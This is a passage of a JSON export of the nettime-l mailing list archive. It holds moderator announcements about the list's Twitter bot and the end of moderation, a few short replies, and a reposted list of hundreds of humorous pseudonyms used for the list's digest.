without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 28 May 2003 19:17:40 +0200",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200305291426.h4TEQ4202804 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0305/msg00075.html",
                "list": "nettime_l",
                "author_name": "the nettime mod squad",
                "subject": "<nettime> Nettime-bold is dead"
            },
            {
                "content-type": "text/plai",
                "from": "nettime mod squad <nettime {AT} kein.org>",
                "id": "00002",
                "content": "On Mon, Dec 28, 2015 at 10:31:34AM -0800, morlockelloi {AT} yahoo.com wrote:\n\n> Would it be possible, for those who don't want their names ending on \n> TWTR disks, to have a Subject: tag that bypasses the bot - for example \n> \"MO:\" (mail only), like in:\n\nDone -- and thank you for this excellent suggestion.\n\n>From now on, if you include #ANON in the subject line of a message, the \n {AT} nettime_bot twitter bot will omit the sender's name. The link will still\npoint to the same old nettime archive, so it's trivially easy to find out \nwho sent a message -- just one click. \n\nStarting with this message, the footer at the bottom of every nettime-l\nmessage will include an additional line to explain this:\n\n     #   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\nOther suggestions, about the twitter bot or anything else, are welcome.\n\nCheers,\nthe mod squad \n(Felix, Ted, Doma)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                "date": "Mon, 4 Jan 2016 17:31:18 +0100",
                "to": "nettime-l {AT} kein.org",
                "message-id": "1b135cdbf0b71c5b9cc8f06506dfef48 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1601/msg00002.html",
                "list": "nettime_l",
                "author_name": "nettime mod squad",
                "subject": "Re: <nettime> introducing  {AT} nettime_bo"
            },
            {
                "id": "00042",
                "content": "This is a good time to say that nettime hasn't been moderated for the\nlast several weeks -- since July 4th, to be exact. We didn't announce\nthe change because it didn't seem necessary. Inward-looking meta-debates\nabout moderation on nettime have always been at least partly boring, and\nthey were sometimes destructive -- so why invite another one? Why not\nlet them fade away with moderation?\n\nWhatever you think about nettime now, it seems safe to say that the list\nwould have ceased to exist long ago if it hadn't been moderated. But\nover time, as the list has become sleepier, the benefits of moderation\nhave become fewer. And, as Keith's message shows, moderation has\ndownsides -- for example, uncertainty about whether some messages have\ngotten lost in the shuffle.\n\nOver the last years, moderation -- to a large extent -- consisted of\nmenial tasks such as rejecting oneliners and ask people who submitted\nbare URLs to write a brief intro and post the entire content into the\nmail, since the nettime archive is, actually, an archive. So, we ask you\ndo keep this in mind -- along with all the rest -- when posting to\nnettime.\n\nAlso, for all the people who care about nettime, think about inviting\nnew people to post their own interesting material.\n\nSo, for now at least, any message from a subscriber should immediately\nappear on the list. Non-scubscribers' messages are held for manual\napproval. If anyone seems to be abusing the list, we'll flag their\naddress so their messages need to be manually approved.\n\nthe mod squad,\nFelix, Ted, and Doma\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00042.html",
                "list": "nettime_l",
                "author_name": "nettime's mod squad",
                "subject": "<nettime> Down with moderation",
                "from": "nettime's mod squad <nettime {AT} kein.org>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "Rana Dasgupta <rana {AT} ranadasgupta.com>",
                                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                                        "id": "00049",
                                        "date": "Mon, 21 Aug 2017 08:46:49 +0530",
                                        "to": "nettime-l {AT} mail.kein.org",
                                        "message-id": "663a7e7f&#45;e0a9&#45;9b5b&#45;98f0&#45;3514db853506 {AT} ranadasgupta.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00049.html",
                                        "content-type": "text/plai",
                                        "author_name": "Rana Dasgupta",
                                        "subject": "<nettime> The Invisible Commi"
                                    }
                                ],
                                "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                                "content": "\nAnd up with moderation.\n\nBrian\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                                "id": "00045",
                                "date": "Fri, 18 Aug 2017 20:04:57 -0500",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "c12559ef&#45;099a&#45;e704&#45;1010&#45;f4fde8e77bae {AT} gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00045.html",
                                "content-type": "text/plai",
                                "author_name": "Brian Holmes",
                                "subject": "<nettime> Up with moderation"
                            },
                            {
                                "from": "Rana Dasgupta <rana {AT} ranadasgupta.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                                "id": "00049",
                                "date": "Mon, 21 Aug 2017 08:46:49 +0530",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "663a7e7f&#45;e0a9&#45;9b5b&#45;98f0&#45;3514db853506 {AT} ranadasgupta.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00049.html",
                                "content-type": "text/plai",
                                "author_name": "Rana Dasgupta",
                                "subject": "<nettime> The Invisible Commi"
                            }
                        ],
                        "from": "Morlock Elloi <morlockelloi {AT} gmail.com>",
                        "content": "\nOn 8/18/17, 04:21, nettime's mod squad wrote:\n> This is a good time to say that nettime hasn't been moderated for the\n> last several weeks -- since July 4th, to be exact. We didn't announce\n> the change because it didn't seem necessary. Inward-looking meta-debates\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                        "id": "00044",
                        "date": "Fri, 18 Aug 2017 10:58:32 -0700",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "59972AC8.6040605 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00044.html",
                        "content-type": "text/plai",
                        "author_name": "Morlock Elloi",
                        "subject": "Re: <nettime> Down with moderation"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Rana Dasgupta <rana {AT} ranadasgupta.com>",
                                "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                                "id": "00049",
                                "date": "Mon, 21 Aug 2017 08:46:49 +0530",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "663a7e7f&#45;e0a9&#45;9b5b&#45;98f0&#45;3514db853506 {AT} ranadasgupta.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00049.html",
                                "content-type": "text/plai",
                                "author_name": "Rana Dasgupta",
                                "subject": "<nettime> The Invisible Commi"
                            }
                        ],
                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "content": "\nAnd up with moderation.\n\nBrian\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                        "id": "00045",
                        "date": "Fri, 18 Aug 2017 20:04:57 -0500",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "c12559ef&#45;099a&#45;e704&#45;1010&#45;f4fde8e77bae {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00045.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "<nettime> Up with moderation"
                    },
                    {
                        "from": "Rana Dasgupta <rana {AT} ranadasgupta.com>",
                        "content": "#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n#   {AT} nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n",
                        "id": "00049",
                        "date": "Mon, 21 Aug 2017 08:46:49 +0530",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "663a7e7f&#45;e0a9&#45;9b5b&#45;98f0&#45;3514db853506 {AT} ranadasgupta.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1708/msg00049.html",
                        "content-type": "text/plai",
                        "author_name": "Rana Dasgupta",
                        "subject": "<nettime> The Invisible Commi"
                    }
                ],
                "message-id": "1dffe748a320ab3a18a3ad893df61234 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Fri, 18 Aug 2017 13:21:03 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00039",
                "content": "(I just dug this up -- maybe of interest.)\n\n- - - - - - - - - - - - 8< SNIP! 8< - A- - - - - - - - - - -\n\nTo: nettime-l@kein.org\nSubject: <nettime> digestion digest\nFrom: nettime mod squad <nettime@kein.org>\nDate: Mon, 19 Jan 2015 06:27:37 +0100\n\nAs nettime comes up on its twentieth birthday, we've started looking\nback at what happened. What follows is a nearly complete list of more\nthan 700 different identities we've given to nettime's digest function\nover the last 16+ years.\n\nCheers,\nthe mod squad\n(Ted and Felix)\n\n\nnettime's.sorry\nnettime's(.bash)_history\nnettime's_ _\nnettime's_ _ again\nnettime's_ roving_reporter\nnettime's___\nnettime's____________\nnettime's_________________\nnettime's__grand_inquisitor\nnettime's_--------_detector\nnettime's_...wait...oh my god! it's alive!\nnettime's_'r'_critic\nnettime's_(anti)?thetical_synthesizer\nnettime's_(g)?lo(b|c)al_pundit\nnettime's_|<0u||+3r-.*\nnettime's_1337ologist\nnettime's_31337_h!5+0r!4||\nnettime's_911_compiler\nnettime's academy\nnettime's accelerated cycles\nnettime's accountants\nnettime's_active_digestresse\nnettime's_adding_machine\nnettime's_akademik_zensor\nnettime's_alarmist\nnettime's alias\nnettime's_american_friend\nnettime's_anal_editor\nnettime's_anal-retentive-book-editor/librarian\nnettime's_AND_gate\nnettime's_annaliste\nnettime's_annotation_line\nnettime's announcer\nnettime's_anonymizer\nnettime's_anonymizing_service\nnettime's anonymous coward\nnettime's_anonymous_login\nnettime's_anti_war_dig\nnettime's_antithesis\nnettime's_api\nnettime's_appraisal_committee\nnettime's_arbiter_of_taste\nnettime's archivist\nnettime's_armchair_historian\nnettime's_ascii_infidel\nnettime's_asciimilator\nnettime's_assimilationist_system\nnettime's_attivatore\nnettime's_autoimmune_system\nnettime's_automaton\nnettime's avid crossposter\nnettime's avid gift giver\nnettime's avid law reader\nnettime's avid reader\nnettime's avid review reader\nnettime's_avid_reader\nnettime's_b00xw0rm\nnettime's_B1FF!!!\nnettime's_babelfish\nnettime's bable fish\nnettime's_balancing_act\nnettime's_barcode_reader\nnettime's_barker\nnettime's_barking_dialogist\nnettime's_bartleby\nnettime's_basic_visual_script\nnettime's_bean_counter\nnettime's_beancounter\nnettime's_bear\nnettime's bifurcated tuber\nnettime's_big_thumb\nnettime's_bird_watchers\nnettime's blockwart\nnettime's_bloggee\nnettime's_BMOC\nnettime's_body_politic\nnettime's_border_reporter\nnettime's_bored_summer_intern\nnettime's broken pumps\nnettime's_broken_record\nnettime's_bullshit_detector\nnettime's_burning_man\nnettime's_busy_reader\nnettime's_butcher\nnettime's_butlins\nnettime's_c-spammer\nnettime's_cache\nnettime's_caching_proxy\nnettime's cage aux trolls\nnettime's calculating machine\nnettime's_captive_audience\nnettime's_car_warrespondent\nnettime's caring parent\nnettime's cartoonist\nnettime's cash hoard\nnettime's_cashier\nnettime's_center\nnettime's_centrist_urge\nnettime's_cgi_joe\nnettime's_charterhouse\nnettime's_chatterbox\nnettime's_cheeseburger_to_go!\nnettime's_chronicler\nnettime's_chronological_digesta\nnettime's_circle_jerk\nnettime's_clerk\nnettime's closed\nnettime's_closet_case\nnettime's coin box\nnettime's_collection_service\nnettime's collective\nnettime's collective theorists\nnettime's_collective_brain\nnettime's_colostomy_bag\nnettime's compiler\nnettime's_compiler\nnettime's_compression_algorithm\nnettime's compulsive gamer\nnettime's_conditional_dig\nnettime's confused ontologist\nnettime's_conscientious_digestor\nnettime's_convergence_center\nnettime's copy editor\nnettime's_counter_counter_counter_something\nnettime's_counterimagineer\nnettime's_counterspam_kr!k!t\nnettime's_CPA\nnettime's crew of janitors\nnettime's critic of the critic\nnettime's crooked dealer\nnettime's_crusher\nnettime's_crystal_ball\nnettime's cuban middle\nnettime's_cud_chewer\nnettime's cultural\nnettime's curator\nnettime's_d-di-di-digestive_s-s-system\nnettime's_d-spammer\nnettime's_dataminer\nnettime's de-terminator\nnettime's_deadman_switch\nnettime's deaf reader\nnettime's_debabelizer\nnettime's_decider\nnettime's decoder\nnettime's_deep_sea_diver\nnettime's_deficit_disorder\nnettime's_deja-vu\nnettime's_delayed_response\nnettime's_delete_key\nnettime's_delp_hesk\nnettime's_demultitudinizer\nnettime's_depth_charge\nnettime's_designative_dig\nnettime's_dfh\nnettime's dialetical materialist\nnettime's_diet\nnettime's digest\nnettime's_digest\nnettime's_digest_ready_to_read\nnettime's digesta\nnettime's digester\nnettime's_digestion\nnettime's digestive system\nnettime's_digestive_system\nnettime's_digestive_system_politic\nnettime's_digestive_tract\nnettime's_digestor_of_forwarded_crises\nnettime's_digger\nnettime's director\nnettime's_discursive_constipation\nnettime's_discursive_digestive_system\nnettime's_disgestive_system\nnettime's dishonest\nnettime's disinfecta\nnettime's_disintermediation_system\nnettime's_dogcatcher\nnettime's_dom\nnettime's_dot_dot_dot\nnettime's_dot_matrix\nnettime's_doubleplusuncountercountercounterreformer\nnettime's dr doom\nnettime's_drive_thru\nnettime's_driving_force\nnettime's_dumpster_diver\nnettime's_dumptruck\nnettime's_dusty_archivist\nnettime's_dusty_cryptographer\nnettime's_easy_listener\nnettime's echo\nnettime's_eco_chamber\nnettime's_educrat\nnettime's_election_monitor\nnettime's_election_observer\nnettime's_elevator\nnettime's_elf\nnettime's_embedded_controller\nnettime's_emotional_antenna\nnettime's_empiricist\nnettime's employee of the the year\nnettime's_encoder_ring\nnettime's_enforcer\nnettime's_enigma\nnettime's_entropist\nnettime's_epicyclical\nnettime's_equalizer\nnettime's_eternal_carriage_return\nnettime's_eternal_return\nnettime's_ethereal_list-0//N3R!!!\nnettime's_evil_antimatter_twin\nnettime's_excursion_trip\nnettime's_exorcist\nnettime's explation of evil\nnettime's_extortionst\nnettime's_f4sc!zt_z3nz0r!!!\nnettime's_factotum\nnettime's fake shop\nnettime's false digest\nnettime's farm hand\nnettime's_fasc!st_zenzor\nnettime's_fellow_traveler\nnettime's_fency_activists\nnettime's_ferryman\nnettime's fetters\nnettime's_fickle_customer\nnettime's filosofer\nnettime's filter\nnettime's_fingerpuppet\nnettime's_firetrap\nnettime's_flame_warrior\nnettime's_flamethrower\nnettime's_flametrader\nnettime's_flashometer_I\nnettime's_flashometer_II\nnettime's_flashometer_III\nnettime's_flashometer_IV\nnettime's_fly_on_the_wall\nnettime's_flying_birthday_committee\nnettime's_focus_group\nnettime's_FOIA_filer\nnettime's_fold\nnettime's font checker\nnettime's_forbidden_city\nnettime's foreign\nnettime's_foreign_correspondent\nnettime's_foreign_exchange\nnettime's_forgetful_historian\nnettime's_fork_lift\nnettime's_fork()_lift\nnettime's_forking_tendencies\nnettime's_fortean\nnettime's_forth_reichian\nnettime's_free_gateway\nnettime's_frenemy\nnettime's frequent flyer\nnettime's friendly community\nnettime's_fruit_machine\nnettime's_fun_raiser\nnettime's funeral\nnettime's_furrin_exchange\nnettime's_gal_friday\nnettime's_gang\nnettime's_gardener\nnettime's_gasoholic\nnettime's_gatekeeper\nnettime's_geheimnissicherheitsdienst\nnettime's_generator\nnettime's_geodesic_structure\nnettime's_geowanker\nnettime's_ghost_of_net.art.past\nnettime's_gilded_cage\nnettime's_global\nnettime's_globetrotter\nnettime's gnu\nnettime's_gnu\nnettime's_gopher\nnettime's_gran_fury\nnettime's_groupuscule\nnettime's_grunt\nnettime's_guy_in_the_white_coat\nnettime's_H0AX0R\nnettime's_hackumentarist\nnettime's hand compiler\nnettime's handy\nnettime's_hawk(er)\nnettime's help desk\nnettime's_helpdesk\nnettime's helpers\nnettime's_hidden_hand\nnettime's_high-level_scriptor\nnettime's historian\nnettime's historical fader\nnettime's_historical_conciousness\nnettime's honest thief\nnettime's_hoover\nnettime's_human_face\nnettime's_hungry_ego\nnettime's_hyperpower\nnettime's hypocrite\nnettime's_idle_worshiper\nnettime's_immod\nnettime's inauthentic digest\nnettime's_incorporator\nnettime's_incredible_shrinking_man\nnettime's_indeterminate_temporary_layover\nnettime's_indexical_utterance\nnettime's_indigestive_system\nnettime's infatigable cartoonists\nnettime's_infernal_machinist\nnettime's_influencing_machine\nnettime's inner workings revealed\nnettime's_inquiring_minds\nnettime's_inside_trader\nnettime's_inspector\nnettime's_institutional_critic\nnettime's_institutional_memory\nnettime's_institutional_review_board\nnettime's_integrator\nnettime's_interactive_indeigestion\nnettime's internet didgest\nnettime's internet digest\nnettime's_intruder_alert\nnettime's_isla_bonita\nnettime's italian digest\nnettime's_janitor\nnettime's janitors\nnettime's_janitors\nnettime's jukebox\nnettime's juvenile digesta\nnettime's_kelly_girl\nnettime's_keyboard_potato\nnettime's knitting factory\nnettime's_knuckle_rapa\nnettime's_kompressor\nnettime's_kontent_kreator\nnettime's_kranky_kong\nnettime's_krusty krab\nnettime's_lamarckian\nnettime's_lazy_bastard\nnettime's_left_coaster\nnettime's_legal_dictionary\nnettime's_legal_workshop\nnettime's_letter_editor\nnettime's_lettrist\nnettime's_licensee\nnettime's_lifelong_learner\nnettime's literary\nnettime's_little_birdie\nnettime's_little_helper\nnettime's_lonely_crowd\nnettime's_loss_leader\nnettime's lottery\nnettime's lunar digest\nnettime's_m9nd_kontainer\nnettime's mad digestion\nnettime's_mail_h4x0r!!!\nnettime's mailman\nnettime's_MailRank[tm]\nnettime's_maitre_d\nnettime's_malcontent\nnettime's_man_behind_the_curtain\nnettime's_man_in_caracas\nnettime's_mandibular_function\nnettime's manifesto control\nnettime's_mann_ohne_eigenschaften\nnettime's manual\nnettime's marginal protester\nnettime's_market_analyst\nnettime's_mathemagical_thematist\nnettime's mechanical\nnettime's media\nnettime's media art\nnettime's_media_asset\nnettime's_media_consultant\nnettime's_media_magnate\nnettime's_meme_chose\nnettime's_mercurial_editor\nnettime's message screener\nnettime's message splicer\nnettime's_message_recoverer\nnettime's_messenger\nnettime's meta\nnettime's_metaphorical_archaeologist\nnettime's_methodological_referee\nnettime's middle\nnettime's mini-digestion\nnettime's miscellany\nnettime's miser\nnettime's_mixmaster\nnettime's_mod_squad\nnettime's_moderators\nnettime's_monkey_in_the_middle\nnettime's_moot_court\nnettime's_movement_of_movements\nnettime's_mr._mole\nnettime's_mullahs\nnettime's muscle critics\nnettime's_mytho-robo-poesis\nnettime's_nanny\nnettime's_nano_pico_femto_atto_zepto_yocto\nnettime's_national_conscience\nnettime's_natura_naturans\nnettime's_nettimers\nnettime's_new_man\nnettime's_new_yawker\nnettime's_new_yorker\nnettime's_newsprint_recycler\nnettime's_newsreader\nnettime's_no-mission_digger\nnettime's noise\nnettime's noise filter\nnettime's not so bitter digester\nnettime's_notebook\nnettime's_nutty_professor\nnettime's_observer\nnettime's_occupational_therapist\nnettime's_occupier\nnettime's_od_2\nnettime's_offsite_archivist\nnettime's_oil_futurist\nnettime's_old_economy\nnettime's_old_world\nnettime's_ombudsman\nnettime's on/off connector\nnettime's one\nnettime's one line collector\nnettime's ontological apparatus\nnettime's_open_EAR\nnettime's_openspammer\nnettime's_opinion_contraption\nnettime's_opinion_digga\nnettime's_opportunity_adviser\nnettime's_optimo-pessimist\nnettime's_oracle\nnettime's_orchid_man\nnettime's_organic_alien\nnettime's_organization_man\nnettime's overload\nnettime's_overload_manager\nnettime's_oversharer\nnettime's_overworked_cleanup_crew\nnettime's_pac-man\nnettime's packet packer\nnettime's_paper_pusher\nnettime's_paperboy\nnettime's_para_normalist\nnettime's_parallel_processor\nnettime's paranoid reader\nnettime's parasites\nnettime's_parliament\nnettime's party goer\nnettime's_password_protection\nnettime's_paymaster\nnettime's_peanut_gallerist\nnettime's_pen_pal\nnettime's_permadjunct\nnettime's pilot light\nnettime's ping pong\nnettime's_pinhole\nnettime's_pizza_delivery\nnettime's plumber\nnettime's poet\nnettime's_point_n_clicktivist\nnettime's_policy_wonk\nnettime's_possessive\nnettime's_post_traumatic_manageress\nnettime's post-collective\nnettime's post-election analyst\nnettime's_postal_inspektor\nnettime's_poster_child\nnettime's_pretzel_historian\nnettime's_primal_scenester\nnettime's_prior_artist\nnettime's_prior_artists\nnettime's_privatization_authority\nnettime's_probiotic_brigade\nnettime's_psychocartographer\nnettime's_psychoceramicist\nnettime's publisher\nnettime's_qualitative_easing\nnettime's_qualquant\nnettime's_quasilegal\nnettime's_raised_hackles\nnettime's_random_telegram\nnettime's re tracer\nnettime's_Re_Re_Re\nnettime's_read_write_head\nnettime's reading list?\nnettime's_realtime_compression_lib\nnettime's_recapitator\nnettime's_recombinant\nnettime's_recomposer\nnettime's_recount\nnettime's_reductionist\nnettime's refugee digestive\nnettime's refugee in Australia\nnettime's_regional_reporter\nnettime's_regulator\nnettime's_rejection_letter\nnettime's relocator\nnettime's_reluctant_CNN_simulator\nnettime's remixer\nnettime's_remote_control\nnettime's_rescue_squad\nnettime's_research_assistant\nnettime's_resource_allocator\nnettime's_restaurant_reviewer\nnettime's_retabulator\nnettime's_retort\nnettime's_retrospective_system\nnettime's reversal\nnettime's_review_process\nnettime's rights manager\nnettime's riot observer\nnettime's_roboconnoisseur\nnettime's_robots.txt\nnettime's_rocket_scientist\nnettime's_role_player\nnettime's_rotating_moderators\nnettime's_roundup\nnettime's_rovering_reporter\nnettime's roving correspondent\nnettime's roving reporter\nnettime's_roving_correspondent\nnettime's_roving_journalist\nnettime's_roving_primatologist\nnettime's_roving_raver\nnettime's_roving_reader\nnettime's_roving_reporter\nnettime's_roving_reporter\"\nnettime's_roving_reporters\nnettime's_roving_rerereporter\nnettime's_roving_subscriber\nnettime's rovink reporter\nnettime's_rovink_reporter\nnettime's royal scribe\nnettime's_rubbish_brigade\nnettime's_ruling_robert\nnettime's_ruminant\nnettime's_ruminator\nnettime's_rumor_monger\nnettime's_rumormonger\nnettime's_running_man\nnettime's_s'emitten\nnettime's sad reader\nnettime's_sad_forwarder\nnettime's salon economist\nnettime's_sameness_engine\nnettime's_satire_dig\nnettime's_saturday_morning_cartoon\nnettime's_sausage_machine\nnettime's_script_kiddie\nnettime's_secret_santa\nnettime's_seeder\nnettime's_sekrit_dekoding_ring\nnettime's_self-cleaning oven\nnettime's_self-digestive_system\nnettime's semantic descrambler\nnettime's_senior_bastard\nnettime's_sensible_sorta\nnettime's_sensor\nnettime's_septuabotanist\nnettime's_server_in_return\nnettime's service industry\nnettime's_shadowy_connection\nnettime's shop\nnettime's_short_fuse\nnettime's_shrugging_atlas\nnettime's_signalisa\nnettime's signalist\nnettime's_sistema_indigestivo\nnettime's_six_steps_back\nnettime's_skeptical_inquirer\nnettime's_slouch\nnettime's_slovene_detranslator\nnettime's_slovene_philosopher\nnettime's smart reader\nnettime's_smoke_signal\nnettime's social being\nnettime's_social_alchemist\nnettime's_solar_anus\nnettime's_solvent\nnettime's spam kr!t!k\nnettime's spam kritik\nnettime's spam reader\nnettime's_spam_archivist\nnettime's_spam_connoisseur\nnettime's_spam_filter\nnettime's_spam_inspector\nnettime's_spam_kr!k!t\nnettime's_spam_kritik\nnettime's_spamkrikit\nnettime's_spamkritik\nnettime's_spamkurator\nnettime's_speculator\nnettime's_speed_demon\nnettime's spell\nnettime's_spokesmodel\nnettime's_spreada\nnettime's_spring_cleaner\nnettime's_stable_boy\nnettime's_star_chamber\nnettime's_storm_system\nnettime's_streamlinegram\nnettime's_street_historian\nnettime's_strongman\nnettime's_subject_line_kritik\nnettime's_subtractor\nnettime's_sudden_turn\nnettime's_suggestion_boxer\nnettime's_sunny_countenance\nnettime's_superliminalist\nnettime's_support_group\nnettime's_support_line\nnettime's_supportive_frontliners\nnettime's_sustainable_ethic\nnettime's suv driver\nnettime's_sweatshop\nnettime's sweaty\nnettime's_swing_state\nnettime's swiss arbiter\nnettime's_syllabary\nnettime's_symbolic_formalist\nnettime's_symboliste\nnettime's_symptomatic_corresponda\nnettime's_symptomatic_distincta\nnettime's_syncretic_materialist\nnettime's_synthesist\nnettime's_synthetic_system\nnettime's_t[ext]j_spooky\nnettime's_tcp_rapper\nnettime's_tensegrity_structure\nnettime's terrorism think tank\nnettime's_teta_bester\nnettime's_theoretical_potato\nnettime's_thermodynamic_principle\nnettime's_thinktank\nnettime's_third_thumb\nnettime's three is a crowd\nnettime's_three_tumbs\nnettime's_throughput\nnettime's_ticker\nnettime's_ticket_collector\nnettime's_ticket_source\nnettime's_time-to-live\nnettime's_timekeeper\nnettime's_tin_cup\nnettime's tired\nnettime's_tireless_reporter\nnettime's_toolbox_repairshop\nnettime's_topiary.artist\nnettime's_tough_digesta\nnettime's_tout\nnettime's_toy_canon\nnettime's_toy_system\nnettime's_transmittress\nnettime's travel agency\nnettime's_trigestive_system\nnettime's_troll\nnettime's_trololo_guy\nnettime's troublemaker\nnettime's true believer\nnettime's_truth-breaking_news-evaluator\nnettime's_tuesday_welder\nnettime's_turnabout\nnettime's_two_steps_forward\nnettime's typographers\nnettime's_u1tra_B1FF\nnettime's ueber vectoralist\nnettime's uebertranzi\nnettime's umpire\nnettime's_un-american_committee\nnettime's_uncola\nnettime's_uncola_drinker\nnettime's_undertaker\nnettime's unpaid curatorial staff\nnettime's_unpaid_curator\nnettime's_untouchable\nnettime's unwaged censor\nnettime's upset stomac\nnettime's_ur-member\nnettime's_uuencoder\nnettime's_vapor_trail\nnettime's very avid reader\nnettime's_village_gossip\nnettime's_village_green_society\nnettime's virtual coin box\nnettime's_virtual_infectress\nnettime's_walrus_and_carpenter\nnettime's_war_weary\nnettime's_waterloo_monger\nnettime's_weakest_link\nnettime's_whatever\nnettime's white collar\nnettime's_wiczfinder_general_plus\nnettime's_wilderness_of_mirrors\nnettime's Winston Smith\nnettime's_wire_service\nnettime's_wireless_transceiver\nnettime's_woomera_link\nnettime's word police\nnettime's_word-processor\nnettime's_words_fail_me\nnettime's_world_system\nnettime's wrappa\nnettime's_WTO_reporter\nnettime's_xor\nnettime's year end charity\nnettime's_yes_women(?!)_spam_kr!k!t(?!)\nnettime's_yo_dawg\nnettime's_zentral_kommittee\nnettime's_zombie_process\nnettime's_ztandup_komedian\n\n- - - - - - - - - - - - 8< SNIP! 8< - - - - - - - - - - - -\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                "to": "Nettime-l <nettime-l@kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00039.html",
                "list": "nettime_l",
                "author_name": "tbyfield",
                "subject": "<nettime> nettime past and futur",
                "from": "tbyfield <tbyfield@panix.com>",
                "follow-up": [
                    {
                        "from": "Alan Sondheim <sondheim@panix.com>",
